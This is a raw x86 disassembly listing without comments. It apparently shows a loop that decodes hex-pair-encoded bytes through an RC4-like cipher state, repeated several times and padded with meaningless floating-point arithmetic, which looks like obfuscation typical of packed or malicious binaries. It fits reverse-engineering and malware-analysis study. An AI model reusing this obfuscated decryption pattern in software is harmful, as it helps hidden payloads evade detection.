movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x32dd]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x324d], al
mov al, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], al
mov cl, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], cl
cmp dword [ebp - 0x336c], 0
jbe 0x497a43
mov edx, dword [ebp - 0x336c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x28a8]
mov cl, byte [ebp - 0x339e]
mov byte [edx + eax], cl
jmp 0x497770
mov edx, dword [ebp - 0x352c]
add edx, 1
mov dword [ebp - 0x352c], edx
mov eax, dword [ebp - 0x336c]
add eax, 1
mov dword [ebp - 0x336c], eax
mov ecx, dword [ebp - 0x352c]
add ecx, 1
mov dword [ebp - 0x352c], ecx
mov edx, dword [ebp - 0x336c]
shl edx, 1
mov dword [ebp - 0x38f0], edx
mov eax, dword [ebp - 0x38f0]
shl eax, 0
add eax, dword [ebp - 0x39dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3810], ecx
mov dword [ebp - 0x3814], 0x90
mov edx, dword [ebp - 0x336c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x38f4], edx
mov eax, dword [ebp - 0x38f4]
shl eax, 0
add eax, dword [ebp - 0x39dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3818], ecx
mov dword [ebp - 0x381c], 2
mov edx, dword [ebp - 0x3810]
sub edx, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], edx
mov eax, dword [ebp - 0x3818]
sub eax, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], eax
mov ecx, dword [ebp - 0x3820]
shl ecx, 4
mov dword [ebp - 0x38f8], ecx
mov edx, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], edx
mov eax, dword [ebp - 0x38f8]
or eax, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], eax
mov cl, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], cl
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [edx + eax]
mov byte [ebp - 0x32dc], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x324e]
add edx, ecx
mov byte [ebp - 0x324e], dl
mov al, byte [ebp - 0x3233]
add al, 1
mov byte [ebp - 0x3233], al
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ebp - 0x32dc]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x32dc]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32dd]
add ecx, eax
mov byte [ebp - 0x32dd], cl
movzx edx, byte [ebp - 0x32de]
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x32dd]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x324d], dl
mov dl, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], al
cmp dword [ebp - 0x336c], 0
jbe 0x497d16
mov ecx, dword [ebp - 0x336c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x28a8]
mov al, byte [ebp - 0x339e]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x336c]
add ecx, 1
mov dword [ebp - 0x336c], ecx
mov edx, dword [ebp - 0x352c]
add edx, 1
mov dword [ebp - 0x352c], edx
mov eax, dword [ebp - 0x336c]
shl eax, 1
mov dword [ebp - 0x38f0], eax
mov ecx, dword [ebp - 0x38f0]
shl ecx, 0
add ecx, dword [ebp - 0x39dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3810], edx
mov dword [ebp - 0x3814], 0x90
mov eax, dword [ebp - 0x336c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x38f4], eax
mov ecx, dword [ebp - 0x38f4]
shl ecx, 0
add ecx, dword [ebp - 0x39dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3818], edx
mov dword [ebp - 0x381c], 2
mov eax, dword [ebp - 0x3810]
sub eax, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], eax
mov ecx, dword [ebp - 0x3818]
sub ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], ecx
mov edx, dword [ebp - 0x3820]
shl edx, 4
mov dword [ebp - 0x38f8], edx
mov eax, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], eax
mov ecx, dword [ebp - 0x38f8]
or ecx, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], ecx
mov dl, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], dl
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea ecx, [ebp - 0xd30]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x32dc], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x324e]
add eax, edx
mov byte [ebp - 0x324e], al
mov cl, byte [ebp - 0x3233]
add cl, 1
mov byte [ebp - 0x3233], cl
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [ebp - 0x32dc]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x32dc]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32dd]
add edx, ecx
mov byte [ebp - 0x32dd], dl
movzx eax, byte [ebp - 0x32de]
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea esi, [ebp - 0xd30]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x32dd]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x324d], al
mov al, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], al
mov cl, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], cl
cmp dword [ebp - 0x336c], 0
jbe 0x497fd7
mov edx, dword [ebp - 0x336c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x28a8]
mov cl, byte [ebp - 0x339e]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x336c]
add edx, 1
mov dword [ebp - 0x336c], edx
mov eax, dword [ebp - 0x352c]
add eax, 1
mov dword [ebp - 0x352c], eax
mov ecx, dword [ebp - 0x336c]
shl ecx, 1
mov dword [ebp - 0x38f0], ecx
mov edx, dword [ebp - 0x38f0]
shl edx, 0
add edx, dword [ebp - 0x39dc]
movzx eax, byte [edx]
mov dword [ebp - 0x3810], eax
mov dword [ebp - 0x3814], 0x90
mov ecx, dword [ebp - 0x336c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x38f4], ecx
mov edx, dword [ebp - 0x38f4]
shl edx, 0
add edx, dword [ebp - 0x39dc]
movzx eax, byte [edx]
mov dword [ebp - 0x3818], eax
mov dword [ebp - 0x381c], 2
mov ecx, dword [ebp - 0x3810]
sub ecx, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], ecx
mov edx, dword [ebp - 0x3818]
sub edx, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], edx
mov eax, dword [ebp - 0x3820]
shl eax, 4
mov dword [ebp - 0x38f8], eax
mov ecx, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], ecx
mov edx, dword [ebp - 0x38f8]
or edx, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], edx
mov al, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], al
movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32dc], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x324e]
add ecx, eax
mov byte [ebp - 0x324e], cl
mov dl, byte [ebp - 0x3233]
add dl, 1
mov byte [ebp - 0x3233], dl
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
mov dl, byte [ebp - 0x32dc]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x32dc]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32dd]
add eax, edx
mov byte [ebp - 0x32dd], al
movzx ecx, byte [ebp - 0x32de]
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xd30]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea esi, [ebp - 0xd30]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x32dd]
shl edx, 0
lea esi, [ebp - 0xd30]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x324d], cl
mov cl, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], cl
mov dl, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], dl
cmp dword [ebp - 0x336c], 0
jbe 0x498297
mov eax, dword [ebp - 0x336c]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x28a8]
mov dl, byte [ebp - 0x339e]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x352c]
add eax, 9
mov dword [ebp - 0x352c], eax
mov ecx, dword [ebp - 0x336c]
add ecx, 1
mov dword [ebp - 0x4ab8], ecx
jmp 0x4982c6
mov edx, dword [ebp - 0x4ab8]
add edx, 1
mov dword [ebp - 0x4ab8], edx
mov eax, dword [ebp - 0x4ab8]
cmp eax, dword [ebp - 0x352c]
jge 0x4987b8
mov ecx, dword [ebp - 0x336c]
add ecx, 1
mov dword [ebp - 0x336c], ecx
mov edx, dword [ebp - 0x336c]
shl edx, 1
mov dword [ebp - 0x38f0], edx
mov eax, dword [ebp - 0x38f0]
shl eax, 0
add eax, dword [ebp - 0x39dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3810], ecx
mov dword [ebp - 0x3814], 0x90
mov edx, dword [ebp - 0x336c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x38f4], edx
mov eax, dword [ebp - 0x38f4]
shl eax, 0
add eax, dword [ebp - 0x39dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3818], ecx
mov dword [ebp - 0x381c], 2
mov edx, dword [ebp - 0x3810]
sub edx, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], edx
mov eax, dword [ebp - 0x3818]
sub eax, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], eax
movsd xmm0, qword [0x9d4d08]
movsd qword [ebp - 0x5a68], xmm0
movsd xmm0, qword [0x9d4b30]
movsd qword [ebp - 0x6028], xmm0
movsd xmm0, qword [0x9d4880]
movsd qword [ebp - 0x518c], xmm0
movsd xmm0, qword [0x9d45a8]
movsd qword [ebp - 0x5a60], xmm0
movsd xmm0, qword [0x9d42d8]
movsd qword [ebp - 0x5184], xmm0
movsd xmm0, qword [0x9d3fb8]
movsd qword [ebp - 0x4f14], xmm0
movsd xmm0, qword [ebp - 0x5a68]
subsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5a68], xmm0
movsd xmm0, qword [ebp - 0x5a68]
addsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5a68], xmm0
movsd xmm0, qword [ebp - 0x5184]
mulsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5184], xmm0
movsd xmm0, qword [ebp - 0x5184]
addsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5184], xmm0
movsd xmm0, qword [ebp - 0x5a68]
mulsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5a68], xmm0
movsd xmm0, qword [ebp - 0x5184]
subsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5184], xmm0
movsd xmm0, qword [ebp - 0x4f14]
comisd xmm0, xmmword [ebp - 0x5a68]
jbe 0x498509
movsd xmm0, qword [ebp - 0x4f14]
divsd xmm0, qword [ebp - 0x6028]
movsd qword [ebp - 0x4f14], xmm0
movsd xmm0, qword [ebp - 0x4f14]
subsd xmm0, qword [ebp - 0x6028]
movsd qword [ebp - 0x4f14], xmm0
movsd xmm0, qword [ebp - 0x518c]
divsd xmm0, qword [ebp - 0x5184]
movsd qword [ebp - 0x518c], xmm0
movsd xmm0, qword [ebp - 0x518c]
mulsd xmm0, qword [ebp - 0x5184]
movsd qword [ebp - 0x518c], xmm0
movsd xmm0, qword [ebp - 0x5a60]
subsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5a60], xmm0
movsd xmm0, qword [ebp - 0x6028]
subsd xmm0, qword [ebp - 0x5a60]
movsd qword [ebp - 0x6028], xmm0
jmp 0x4985a8
movsd xmm0, qword [ebp - 0x5184]
subsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5184], xmm0
movsd xmm0, qword [ebp - 0x5184]
mulsd xmm0, qword [ebp - 0x4f14]
movsd qword [ebp - 0x5184], xmm0
movsd xmm0, qword [ebp - 0x518c]
subsd xmm0, qword [ebp - 0x5a60]
movsd qword [ebp - 0x518c], xmm0
movsd xmm0, qword [ebp - 0x518c]
subsd xmm0, qword [ebp - 0x5a60]
movsd qword [ebp - 0x518c], xmm0
movsd xmm0, qword [ebp - 0x518c]
mulsd xmm0, qword [ebp - 0x5a60]
movsd qword [ebp - 0x518c], xmm0
mov ecx, dword [ebp - 0x3820]
shl ecx, 4
mov dword [ebp - 0x38f8], ecx
movsd xmm0, qword [ebp - 0x518c]
addsd xmm0, qword [ebp - 0x5a60]
movsd qword [ebp - 0x518c], xmm0
mov edx, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], edx
mov eax, dword [ebp - 0x38f8]
or eax, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], eax
mov cl, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], cl
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [edx + eax]
mov byte [ebp - 0x32dc], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x324e]
add edx, ecx
mov byte [ebp - 0x324e], dl
mov al, byte [ebp - 0x3233]
add al, 1
mov byte [ebp - 0x3233], al
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ebp - 0x32dc]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x32dc]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32dd]
add ecx, eax
mov byte [ebp - 0x32dd], cl
movzx edx, byte [ebp - 0x32de]
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x32dd]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x324d], dl
mov dl, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], al
cmp dword [ebp - 0x336c], 0
jbe 0x4987b3
mov ecx, dword [ebp - 0x336c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x28a8]
mov al, byte [ebp - 0x339e]
mov byte [ecx + edx], al
jmp 0x4982b7
mov ecx, dword [ebp - 0x352c]
add ecx, 1
mov dword [ebp - 0x352c], ecx
movsd xmm0, qword [0x9d4d90]
movsd qword [ebp - 0x5c60], xmm0
movsd xmm0, qword [0x9d4b08]
movsd qword [ebp - 0x5194], xmm0
movsd xmm0, qword [0x9d4680]
movsd qword [ebp - 0x59b8], xmm0
movsd xmm0, qword [0x9d41d8]
movsd qword [ebp - 0x519c], xmm0
movsd xmm0, qword [ebp - 0x5194]
subsd xmm0, qword [ebp - 0x519c]
movsd qword [ebp - 0x5194], xmm0
movsd xmm0, qword [ebp - 0x5194]
mulsd xmm0, qword [ebp - 0x519c]
movsd qword [ebp - 0x5194], xmm0
movsd xmm0, qword [ebp - 0x5c60]
addsd xmm0, qword [ebp - 0x519c]
movsd qword [ebp - 0x5c60], xmm0
movsd xmm0, qword [ebp - 0x59b8]
subsd xmm0, qword [ebp - 0x519c]
movsd qword [ebp - 0x59b8], xmm0
movsd xmm0, qword [ebp - 0x5194]
comisd xmm0, xmmword [ebp - 0x59b8]
jbe 0x4988ea
movsd xmm0, qword [ebp - 0x519c]
addsd xmm0, qword [ebp - 0x5194]
movsd qword [ebp - 0x519c], xmm0
mov edx, dword [ebp - 0x336c]
add edx, 1
mov dword [ebp - 0x336c], edx
movsd xmm0, qword [ebp - 0x5194]
subsd xmm0, qword [ebp - 0x519c]
movsd qword [ebp - 0x5194], xmm0
movsd xmm0, qword [ebp - 0x59b8]
addsd xmm0, qword [ebp - 0x5c60]
movsd qword [ebp - 0x59b8], xmm0
movsd xmm0, qword [ebp - 0x519c]
addsd xmm0, qword [ebp - 0x5194]
movsd qword [ebp - 0x519c], xmm0
jmp 0x49894a
movsd xmm0, qword [ebp - 0x5c60]
addsd xmm0, qword [ebp - 0x5194]
movsd qword [ebp - 0x5c60], xmm0
movsd xmm0, qword [ebp - 0x519c]
addsd xmm0, qword [ebp - 0x5c60]
movsd qword [ebp - 0x519c], xmm0
movsd xmm0, qword [ebp - 0x5194]
mulsd xmm0, qword [ebp - 0x59b8]
movsd qword [ebp - 0x5194], xmm0
movsd xmm0, qword [ebp - 0x59b8]
mulsd xmm0, qword [ebp - 0x519c]
movsd qword [ebp - 0x59b8], xmm0
mov eax, dword [ebp - 0x352c]
add eax, 1
mov dword [ebp - 0x352c], eax
mov ecx, dword [ebp - 0x336c]
shl ecx, 1
mov dword [ebp - 0x38f0], ecx
mov edx, dword [ebp - 0x38f0]
shl edx, 0
add edx, dword [ebp - 0x39dc]
movzx eax, byte [edx]
mov dword [ebp - 0x3810], eax
mov dword [ebp - 0x3814], 0x90
mov ecx, dword [ebp - 0x336c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x38f4], ecx
mov edx, dword [ebp - 0x38f4]
shl edx, 0
add edx, dword [ebp - 0x39dc]
movzx eax, byte [edx]
mov dword [ebp - 0x3818], eax
mov dword [ebp - 0x381c], 2
mov ecx, dword [ebp - 0x3810]
sub ecx, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], ecx
mov edx, dword [ebp - 0x3818]
sub edx, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], edx
mov eax, dword [ebp - 0x3820]
shl eax, 4
mov dword [ebp - 0x38f8], eax
mov ecx, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], ecx
mov edx, dword [ebp - 0x38f8]
or edx, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], edx
mov al, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], al
movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32dc], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x324e]
add ecx, eax
mov byte [ebp - 0x324e], cl
mov dl, byte [ebp - 0x3233]
add dl, 1
mov byte [ebp - 0x3233], dl
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
mov dl, byte [ebp - 0x32dc]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x32dc]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32dd]
add eax, edx
mov byte [ebp - 0x32dd], al
movzx ecx, byte [ebp - 0x32de]
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xd30]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea esi, [ebp - 0xd30]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x32dd]
shl edx, 0
lea esi, [ebp - 0xd30]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x324d], cl
mov cl, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], cl
mov dl, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], dl
cmp dword [ebp - 0x336c], 0
jbe 0x498bfb
mov eax, dword [ebp - 0x336c]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x28a8]
mov dl, byte [ebp - 0x339e]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x336c]
add eax, 1
mov dword [ebp - 0x336c], eax
mov ecx, dword [ebp - 0x352c]
add ecx, 1
mov dword [ebp - 0x352c], ecx
mov edx, dword [ebp - 0x336c]
shl edx, 1
mov dword [ebp - 0x38f0], edx
mov eax, dword [ebp - 0x38f0]
shl eax, 0
add eax, dword [ebp - 0x39dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3810], ecx
mov dword [ebp - 0x3814], 0x90
mov edx, dword [ebp - 0x336c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x38f4], edx
mov eax, dword [ebp - 0x38f4]
shl eax, 0
add eax, dword [ebp - 0x39dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3818], ecx
mov dword [ebp - 0x381c], 2
mov edx, dword [ebp - 0x3810]
sub edx, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], edx
mov eax, dword [ebp - 0x3818]
sub eax, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], eax
mov ecx, dword [ebp - 0x3820]
shl ecx, 4
mov dword [ebp - 0x38f8], ecx
mov edx, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], edx
mov eax, dword [ebp - 0x38f8]
or eax, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], eax
mov cl, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], cl
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [edx + eax]
